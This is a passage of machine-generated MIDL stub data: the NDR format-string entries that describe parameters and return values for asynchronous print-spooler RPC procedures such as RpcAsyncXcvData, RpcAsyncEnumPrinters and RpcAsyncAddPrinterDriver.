),\t/* 0 */\n/* 1894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1898 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1900 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1902 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1904 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1908 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pSubkey */\n\n/* 1910 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1912 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1914 */\tNdrFcShort( 0x5ca ),\t/* Type Offset=1482 */\n\n\t/* Parameter cbSubkey */\n\n/* 1916 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1918 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbSubkey */\n\n/* 1922 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1924 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1926 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1928 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1930 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterData */\n\n/* 1934 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1936 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1940 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1942 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1944 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1946 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1948 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1950 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1952 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1954 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1956 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1966 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1968 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1970 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 1972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1974 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1976 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 1978 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1980 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1982 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDataEx */\n\n/* 1984 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1990 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1992 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1994 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1998 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2000 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2002 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2004 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2006 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2008 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2016 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2018 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2020 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 2022 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2024 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2026 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 2028 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2030 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2032 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2034 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2036 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterKey */\n\n/* 2040 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2042 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2046 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2048 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2050 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2052 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2054 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2056 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2058 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2060 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2062 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2064 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2068 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2070 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2072 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2074 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2076 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 2078 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2080 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2082 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2084 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2086 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2088 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncXcvData */\n\n/* 2090 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2092 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2096 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 2098 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2100 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2104 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2106 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 2108 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2110 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 2112 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2114 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2116 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2120 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hXcv */\n\n/* 2122 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2124 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2126 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pszDataName */\n\n/* 2128 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2130 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2132 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pInputData */\n\n/* 2134 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2136 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2138 */\tNdrFcShort( 0x498 ),\t/* Type Offset=1176 */\n\n\t/* Parameter cbInputData */\n\n/* 2140 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2142 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOutputData */\n\n/* 2146 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2148 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2150 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter cbOutputData */\n\n/* 2152 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2154 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbOutputNeeded */\n\n/* 2158 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2160 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwStatus */\n\n/* 2164 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 2166 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2170 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2172 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSendRecvBidiData */\n\n/* 2176 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2182 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 2184 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2186 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2188 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2190 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2192 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2194 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2196 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2198 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2200 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2208 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2210 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2212 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pAction */\n\n/* 2214 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2216 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2218 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pReqData */\n\n/* 2220 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2222 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2224 */\tNdrFcShort( 0x6ae ),\t/* Type Offset=1710 */\n\n\t/* Parameter ppRespData */\n\n/* 2226 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2228 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2230 */\tNdrFcShort( 0x6bc ),\t/* Type Offset=1724 */\n\n\t/* Return value */\n\n/* 2232 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2234 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2236 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncCreatePrinterIC */\n\n/* 2238 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2244 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 2246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2248 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2250 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2252 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2254 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2256 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2258 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2260 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2264 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2270 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2272 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2274 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pHandle */\n\n/* 2276 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2278 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2280 */\tNdrFcShort( 0x714 ),\t/* Type Offset=1812 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 2282 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2284 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2286 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 2288 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2290 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2292 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncPlayGdiScriptOnPrinterIC */\n\n/* 2294 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2296 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2300 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2302 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2304 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2306 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2308 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2310 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 2312 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2314 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2316 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2318 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2320 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinterIC */\n\n/* 2326 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2328 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2330 */\tNdrFcShort( 0x718 ),\t/* Type Offset=1816 */\n\n\t/* Parameter pIn */\n\n/* 2332 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2334 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2336 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cIn */\n\n/* 2338 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2340 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOut */\n\n/* 2344 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2346 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2348 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter cOut */\n\n/* 2350 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2352 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2354 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ul */\n\n/* 2356 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2358 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2362 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2364 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2366 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterIC */\n\n/* 2368 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2370 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2374 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2376 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2378 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2382 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2384 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2386 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2388 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2390 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinterIC */\n\n/* 2400 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2402 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2404 */\tNdrFcShort( 0x720 ),\t/* Type Offset=1824 */\n\n\t/* Return value */\n\n/* 2406 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2408 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2410 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinters */\n\n/* 2412 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2414 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2418 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2420 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2422 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2426 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2428 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2430 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2432 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2434 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2436 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2438 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2440 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 2442 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2444 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2446 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2448 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2450 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2452 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2454 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2456 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 2460 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2462 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2464 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2466 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2468 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2472 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2474 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2478 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2480 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2484 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2486 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrinterDriver */\n\n/* 2490 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2492 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2496 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2498 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2500 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2504 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2506 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2508 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2510 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2514 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2520 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2522 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2524 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 2526 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2530 